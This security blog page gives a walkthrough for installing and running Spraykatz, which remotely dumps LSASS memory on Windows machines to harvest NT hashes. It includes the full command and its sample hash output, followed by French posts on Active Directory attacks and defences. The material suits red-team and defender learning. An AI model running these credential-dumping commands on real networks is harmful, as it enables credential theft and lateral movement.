Spraykatz : a fantastic tool for Blueteam or Redteam who want to evaluate lateral movement or privilege escalation weakness on Active Directory environments

Introduction to Spraykatz

As you may know, password hash dump is a very useful method to perform lateral movement or privilege escalation on a network. If you are using Active Directory, this method will be used by a lot of modern malware which include some code pieces from very known security tools like Mimikatz for example.

In this article, we will explorer Spraykatz (v0.9.6) a magnificent tool written by @lydericlefebvre which can help in different situations:

  • BlueTeam: you want to evaluate how much sensible you are in term of password hash dump, and detect if some malwares or attackers can use this method to find some privilege accounts traces on your workstations
  • RedTeam: you want to explore the workstations and find a privilege account to use during your escalation
  • Security Officer, CISO: you want to demonstrate to your internal people how malware can use password hashes in order to educate your people about security issues

Spraykatz is a tool able to retrieve credentials on Windows machines and large Active Directory environments. It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible.

Spraykatz uses slighlty modified parts of the following projects:

  • Mimikatz
  • Impacket
  • Pypykatz
  • Pywerview
  • Sysinternals
  • hackndo

How to install Spraykatz

For this article I was using a Kali distro, but you can use ubuntu as well (I tested it on both distros and worked like a charm).

Let’s be root:

sudo su

Get information about your system updates and update the index file for future updates:

root@kali:~# apt update

Reading package lists… Done

Building dependency tree

Reading state information… Done

All packages are up to date.

Ok, here I already have everything updated on my Kali system.

If you don’t have already the last version of python, git and nmap, update it:

root@kali:/tmp/mimipenguin-master# apt install -y python3.6 python3-pip git nmap

Reading package lists… Done

Building dependency tree

Reading state information… Done

Note, selecting ‘python3.6-cups’ for regex ‘python3.6’

Note, selecting ‘python3.6-cairo’ for regex ‘python3.6’

Note, selecting ‘python3.6-2to3’ for regex ‘python3.6’

Note, selecting ‘python3.6-urwid’ for regex ‘python3.6’

Note, selecting ‘python3.6-smbc’ for regex ‘python3.6’

Note, selecting ‘libpython3.6-stdlib’ for regex ‘python3.6’

Note, selecting ‘python3.6-crypto’ for regex ‘python3.6’

Note, selecting ‘python3-cairo’ instead of ‘python3.6-cairo’

Note, selecting ‘python3-crypto’ instead of ‘python3.6-crypto’

Note, selecting ‘python3-cups’ instead of ‘python3.6-cups’

Note, selecting ‘python3-smbc’ instead of ‘python3.6-smbc’

Note, selecting ‘python3-urwid’ instead of ‘python3.6-urwid’

git is already the newest version (1:2.20.1-2).

git set to manually installed.

nmap is already the newest version (7.70+dfsg1-6kali1).

nmap set to manually installed.

python3-cairo is already the newest version (1.16.2-1+b1).

python3-crypto is already the newest version (2.6.1-9+b1).

python3-cups is already the newest version (1.9.73-2+b1).

python3-pip is already the newest version (18.1-5).

python3-smbc is already the newest version (

python3-urwid is already the newest version (2.0.1-2+b1).

0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ok, here I already have everything updated on my Kali system.

Now, our system is ready to install Spraykatz from Github:

root@kali:~# git clone –recurse-submodules https://github.com/aas-n/spraykatz.git

Cloning into ‘spraykatz’…

remote: Enumerating objects: 29, done.

remote: Counting objects: 100% (29/29), done.

remote: Compressing objects: 100% (27/27), done.

remote: Total 383 (delta 8), reused 5 (delta 1), pack-reused 354

Receiving objects: 100% (383/383), 21.51 MiB | 761.00 KiB/s, done.

Resolving deltas: 100% (207/207), done.

Submodule ‘submodules/impacket’ (https://github.com/SecureAuthCorp/impacket.git) registered for path ‘submodules/impacket’

Cloning into ‘/root/spraykatz/submodules/impacket’…

remote: Enumerating objects: 17060, done.

remote: Total 17060 (delta 0), reused 0 (delta 0), pack-reused 17060

Receiving objects: 100% (17060/17060), 5.64 MiB | 824.00 KiB/s, done.

Resolving deltas: 100% (13026/13026), done.

Submodule path ‘submodules/impacket’: checked out ‘d6b5bd4e2f3fe3e9fa252dcd2a1dd76faa0c5395’

Now Spraykatz is cloned on your system.

Go to the Spraykatz folder:

root@kali:~# cd spraykatz

And use pip to install packages from the index (requirements.txt):

root@kali:~/spraykatz# pip3 install -r requirements.txt

Requirement already satisfied: pyCryptodomex in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (3.6.1)

Requirement already satisfied: pyasn1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (0.4.2)

Requirement already satisfied: pyOpenSSL in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (19.0.0)

Collecting pypykatz>=0.3.0 (from -r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/68/4a/2436e462a7c9ad3df263f5b14998b664bdc62f2d4352af142b5defafeada/pypykatz-0.3.2-py3-none-any.whl (271kB)

100% |████████████████████████████████| 276kB 749kB/s

Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 5)) (4.3.2)

Collecting minidump>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/6b/4e/ae61bddb6d5ada7ee0e718d08b697a58aba66bdd1428b83e06c5ba914579/minidump-0.0.11-py3-none-any.whl (62kB)

100% |████████████████████████████████| 71kB 1.3MB/s

Collecting minikerberos>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/ae/87/0063d15dcb43a7a0746f57c69dfc1ee86b0608728d40d3791f06fa8b046a/minikerberos-0.0.11-py3-none-any.whl (96kB)

100% |████████████████████████████████| 102kB 402kB/s

Collecting msldap>=0.1.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/9d/5b/a8d65a7a8aa047f0312b0cda890ab06a64c5d3f364374c1603af2acebb95/msldap-0.2.5-py3-none-any.whl (40kB)

100% |████████████████████████████████| 40kB 1.1MB/s

Collecting aiowinreg>=0.0.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/59/25/31cd1c57c8322e1e88d246d923bb00a88e326722c238b3a466d411d73fd4/aiowinreg-0.0.2-py3-none-any.whl

Collecting winsspi>=0.0.3 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/65/fe/5aa78fe5983f9203cca9453c771711cfe6eafc91870cab7294f201d5d0a8/winsspi-0.0.3-py3-none-any.whl

Requirement already satisfied: asn1crypto in /usr/lib/python3/dist-packages (from minikerberos>=0.0.11->pypykatz>=0.3.0->-r requirements.txt (line 4)) (0.24.0)

Collecting asciitree (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2d/6a/885bc91484e1aa8f618f6f0228d76d0e67000b0fdd6090673b777e311913/asciitree-0.3.3.tar.gz

Collecting socks5line>=0.0.3 (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2f/51/9b64da14e5bddb19abd8fd9a0d7c9b564b0e860ae5c52f8090af6dbfa02a/socks5line-0.0.3-py3-none-any.whl

Collecting aiocmd (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/a7/d7/1237391649ab4d86a6d5520361727e938b4ec47df834e688189dd83642bf/aiocmd-0.1.2-py3-none-any.whl

Requirement already satisfied: ldap3<2.5.2 in /usr/lib/python3/dist-packages (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4)) (2.5.1)

Collecting prompt-toolkit>=2.0.9 (from aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7f/1f/e145dd467dc9b0e6f1e64232c03119498dfec497e383f1e8be9f83eaa97e/prompt_toolkit-3.0.2-py3-none-any.whl (344kB)

100% |████████████████████████████████| 348kB 711kB/s

Collecting wcwidth (from prompt-toolkit>=2.0.9->aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7e/9f/526a6947247599b084ee5232e4f9190a38f398d7300d866af3ab571a5bfe/wcwidth-0.1.7-py2.py3-none-any.whl

Building wheels for collected packages: asciitree

Running setup.py bdist_wheel for asciitree … done

Stored in directory: /root/.cache/pip/wheels/1d/d9/58/9808b306744df0208fccc640d3d9952a5bc7468502d42897d5

Successfully built asciitree

Installing collected packages: minidump, minikerberos, asciitree, socks5line, wcwidth, prompt-toolkit, aiocmd, msldap, aiowinreg, winsspi, pypykatz

Successfully installed aiocmd-0.1.2 aiowinreg-0.0.2 asciitree-0.3.3 minidump-0.0.11 minikerberos-0.0.11 msldap-0.2.5 prompt-toolkit-3.0.2 pypykatz-0.3.2 socks5line-0.0.3 wcwidth-0.1.7 winsspi-0.0.3

Now Spraykatz is fully installed!

How to use Spraykatz

Spraykatz is very simple to use. To use it, you will need to determine:

  • Which account to use to perform the exploration – here you need to use privilege account (i.e local Admin privilege) on the target system, you may had discovered this type of account from different methods, or even worse, the company is providing regular user accounts which are local Admin on the workstation.
  • Which machine or which machines range you want to target.

In this document example, we will use the following settings:

  • Active Directory domain: win2019.priv
  • Account which has local Admin privilege on the target computer: dark
  • Account password: demo_spraykatz
  • Target computer:
root@kali:~/spraykatz# ./spraykatz.py -u dark@win2019.priv -p demo_spraykatz -t

[#] Hey, did you read the code?

[+] Listing targetable machines into networks provided. Can take a while…

[+] Checking local admin access on targets…

[~] is pwnable!

[+] Exec procdump on targets. Be patients…

[~] ProcDumping Be patient…

[#] Uploading procdump to…

[#] Executing procdump on…

[#] Creating dump’s file descriptor on…

[#] Parsing’s dump remotely…


         domain: WIN10CLI02

        username: blackhat

         nthash: 329153f560eb329c0e1deea55e88a1e9


         domain: WIN2019

        username: WIN10CLI02$

         nthash: fcdc607666845acba172b460939f8fa9


         domain: win2019.priv

        username: WIN10CLI02$

        password: 31d47f5578cd912fd4e6d88a1bc86be46d7d37c2ffd05251b1c98cdd77e71cc37f08504087f18e572162655604adac497b156fdcb9b20b56f0ec5fe3c64b42b96cfbf6e26b5e8017d215479a2d456cf902e36ddad8dae64319f3d9fa79c1dee884c887834af056e459bf3ce3094dad4e1004985518b112e4dbfe24b4eb90a37248d71ef3a79507f4ad68d4b1a233c19448a56f06763079405b08d6e300a5a4e9eb11dc219ca52c5d3edead8fd1ef3ee7b211cbf6af66cc45ed6f090e4f1eb7968cf5cfffdbe06e919440b51056b5586869fefea7296a4c437c2faf240b90f86a4ebdf450fd2b8990061fd58abeef6e76


         domain: WIN2019

        username: han

         nthash: 329153f560eb329c0e1deea55e88a1e9


         domain: WIN2019

        username: root

         nthash: 329153f560eb329c0e1deea55e88a1e9

[#] Closing dump file on…

[#] Deleting procdump on…

[#] Deleting dump on…

[+] Credentials logged into: /root/spraykatz/misc/results/creds.txt

[+] Exiting Gracefully…

On the target system, we can retrieve the nthash for the following accounts:

  • Users accounts who already opened a session on the target system:

  • Computer account for the target system:

These are some additional information about how to use SprayKatz:

  • Mandatory arguments

  • Optional arguments

Spraykatz usefull information

Download page from GitHub

GitHub page: https://github.com/aas-n/spraykatz

Author Twitter account


Très bonne vidéo sur l’usage d’Active Directory pendant des attaques organisées

Si vous vous intéressez aux principes d’attaques et d’exploit, vous trouverez dans cette vidéo des informations importantes vous permettant de mieux comprendre comment les groupes cyber-criminels utilisent Active Directory pour se répandre dans les organisations, et bien sur quelques trucs et astuces pour mieux vous protégez.

Le présentateur prend en exemple le fonctionnement du malware Ryuk et explique notamment la notion de DomainGrabber, permettant de mieux appréhender comment la première partie d’un malware est en fait un code latent réalisant la reconnaissance – l’infection par Ryuk n’étant que l’étape finale.

DCShadow attack, comprendre les bases



Encore un modèle d’attaque mis en évidence par les fameux Benjamin DELPY et Vincent LE TOUX – et oui, ce sont des Français !

Je vous conseille vivement de consulter cette page pour comprendre les bases de l’attaque:  https://www.dcshadow.com/

Microsoft a réagi, en implémentant dans Azure Advanced Threat Protection une détection de l’attaque, plus d’informations ici: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/How-Azure-Advanced-Threat-Protection-detects-the-DCShadow-attack/ba-p/265740

Comme tout le monde est concerné… bonne lecture !


Sécurité Active Directory, les 10 questions à se poser immédiatement : Toutes les organisations pensent avoir un très bon niveau de sécurité de leur Active Directory…avant…de discuter avec moi !

 Chaque semaine, je discute avec des dizaines d’organisations, des très grandes, des moyennes, des gigantesques… c’est assez varié. Le point commun de l’ensemble de ces organisations, c’est leur certitude d’avoir un environnement Active Directory extrêmement sécurisé, c’est assez amusant.

J’insiste, mes contacts ne veulent pas « m’abuser » ou me « faire croire »… ils sont vraiment persuadés de maintenir un environnement Active Directory sécurisé… Quand je leur demande de fournir une note entre 1 et 10 sur l’estimation du niveau de sécurité de leur Active Directory, la plupart des réponses sont positionnées entre 7 et 9 – ils sont malheureusement très loin de la réalité…plus précisément de leur réalité…

Evidemment, le nouveau paradigme IT fait que la sécurité périmétrique disparait petit à petit au profit de la sécurité de la données et de la sécurité de l’identité – Même à l’heure du Cloud public, l’Active Directory se trouve au centre de cette stratégie Data+Identity – mais – ce qui est paradoxal, c’est que la plupart des designs et infrastructures Active Directory ont été implémentés il y a une dizaine d’années, à une époque où la sécurité périmétrique été reine et le Cloud public s’appelait encore ASP… Il y a donc beaucoup de chose à revoir, quitte à bousculer les certitudes…

Il est au final assez simple de mesurer le niveau de sécurité d’un environnement Active Directory, j’utilise généralement 10 questions assez simples me permettant d’évaluer le niveau de maturité du client sur la partie Active Directory :

Lire la suite

Important: vulnérabilité concernant Samba 4 – Active Directory DC – CVE-2018-1057

L’équipe Samba a découvert une vulnérabilité critique (CVE-2018-1057) sur Samba 4 en mode Active Directory Domain Controller. Cette vulnérabilité n’impacte pas Samba en mode NT ou mode serveur de fichier.

Cette vulnérabilité permet à n’importe quel utilisateur authentifié de modifier le mot de passe de tous les autres utilisateurs, ceci incluant les mots de passe des comptes d’administration de l’annuaire ! Tout cela au travers d’une simple connexion LDAP.

Voir ce lien: https://wiki.samba.org/index.php/CVE-2018-1057 pour l’explication liée à cette vulnérabilité et comment corriger le problème.

A corriger immédiatement !

Microsoft Advanced Threat Analytics (ATA) : La cybersécurité made-in Microsoft pour protéger Active Directory [2/5]

Dans le premier article de notre série consacrée à ATA nous avons évoqué les fonctions globales du produit, maintenant voyons comment réaliser une installation et comment réaliser une mise à jour avec des patchs ATA sur une version existante.

Installation de Microsoft ATA

Cet article est réalisé avec la version 1.8.6645 de Microsoft ATA disponible en téléchargement sur Microsoft MSDN. Nous réaliserons ensuite une mise à jour de la version disponible sur Microsoft MSDN.

Installation du centre ATA

La première étape consiste à installer l’ATA Center sur un serveur Windows Server dédié.

Copier le contenu de l’ISO dans un répertoire sur le disque dur local et ne pas exécuter l’installation directement depuis l’ISO monté dans le système.

Lancer l’installation en lançant l’application « Microsoft ATA Center Setup ».

Je vous conseille de réaliser l’installation en langue Anglaise et de réaliser une installation sur un OS en Anglais – Microsoft ATA est supporté sur les OS Français et propose une interface applicative en Français, mais comme d’habitude, il est au final plus simple de consulter les différentes documentation en langue Anglaise :

Lire la suite

Microsoft Advanced Threat Analytics (ATA) : La cybersécurité made-in Microsoft pour protéger Active Directory [1/5]

Je commence ici une série d’articles sur Microsoft ATA. Nous allons découvrir ensemble rapidement quels sont les objectifs de Microsoft ATA, décrire l’installation et le paramétrage de base. Nous verrons ensuite comment paramétrer certaines fonctions plus avancées puis nous réaliserons des attaques de tests pour vérifier le bon fonctionnement.

Présentation de Microsoft Advanced Threat Analytics (ATA)

Microsoft Advanced Threat Analytics (ATA) est une plateforme locale qui aide à protéger votre entreprise contre plusieurs types d’attaques informatiques ciblées et de menaces internes avancées.

Microsoft ATA fournit des fonctionnalités de détection pour les différentes phases d’une attaque avancée : reconnaissance, compromission des informations d’authentification, mouvement latéral, élévation des privilèges, contrôle du domaine, etc. Les attaques avancées et les menaces internes peuvent ainsi être détectées avant de pouvoir causer des dommages dans l’organisation. Chaque type de détection correspond à un ensemble d’activités suspectes liées à la phase en question, chacune de ces activités correspondant elle-même à différents types d’attaques possibles. Les phases de la « kill-chain » où ATA fournit une détection sont mises en surbrillance dans l’image suivante :

Lire la suite

Active Directory : rajouter une fonction de création de containeur (container) dans l’interface graphique de la MMC

De base, lorsque l’on veut créer une arborescence depuis le snap-in « Utilisateur et ordinateurs Active Directory », il n’est possible que de créer des Unités d’Organisation (Organization Unit) :

Or, dans certains cas, il est souhaitable de pouvoir créer un objet de type containeur (container), notamment s’il n’est pas nécessaire d’avoir d’application de GPOs sur les objets contenus dans ce répertoire ou pour stocker des objets de types SCP par exemple.

Bien entendu, il est possible de passer par PowerShell pour créer un objet containeur, mais il est également possible d’activer une fonction graphique directement dans les consoles MMC.

Pour la manipulation, il faut utiliser un compte qui appartient au groupe « schema admins » – ouvrir ADSIEDIT et se connecter sur la partition du schéma : Lire la suite

LEX, the definitive LDAP Explorer ! [1/4]

Je viens de commencer une série d’articles sur un outil tout à fait extraordinaire découvert il y a peu, au hasard d’échanges informels avec quelques spécialistes LDAP, j’ai nommé LDAP Explorer, ou LEX de son petit nom. Non, il ne s’agit pas d’une option permettant de jouer Lex Luthor dans un jeu en ligne pour mettre sa raclée à Superman, mais bel et bien du meilleur explorateur LDAP du marché !

C’est quoi LEX ?

Comme de nombreux consultants IAM, j’ai forcement dans ma boite à outils un explorateur LDAP. Comme je suis très feignant (oui, je suis feignant), je faisais comme tout le monde, c’est-à-dire :

  • ADSIEDIT fourni par Microsoft et gratuit lorsque j’ai besoin d’un browser LDAP coté Active Directory. Outil développé à la « va vite » et extrêmement basic mais accessible depuis la MMC.
  • LDAP Administrator de la société Softerra et payant lorsque j’ai besoin d’un browser LDAP à utiliser avec un autre service LDAP qu’Active Directory. Outil très puissant, la référence sur le marché depuis de nombreuses années.

Oui bien sûr, il est tout à fait possible d’utiliser LDAP Administrator pour administrer Active Directory, mais il manque quelques fonctions, disons spécifiques à Active Directory et qui rendent cet outil intéressant mais pas un must to have pour l’administration Active Directory (nous reviendrons sur ce point un peu plus loin).

Oui, il est aussi possible d’utiliser des alternatives « gratuites » à LDAP Administrator, mais là on rentre dans un monde rempli de projet SourceForge plus ou moins aboutis, avec des trucs sous JAVA, ce qui me donne des boutons très très rapidement. De plus, lorsque je travaille avec un outil, je veux dire vraiment « travailler », je ne veux pas dépendre d’un bout de code développé par un stagiaire un soir de pleine lune, mes outils professionnels, je préfère les payer et être tranquille. Chacun sa méthode, mais j’ai tendance à me méfier des produits « gratuits ». Lire la suite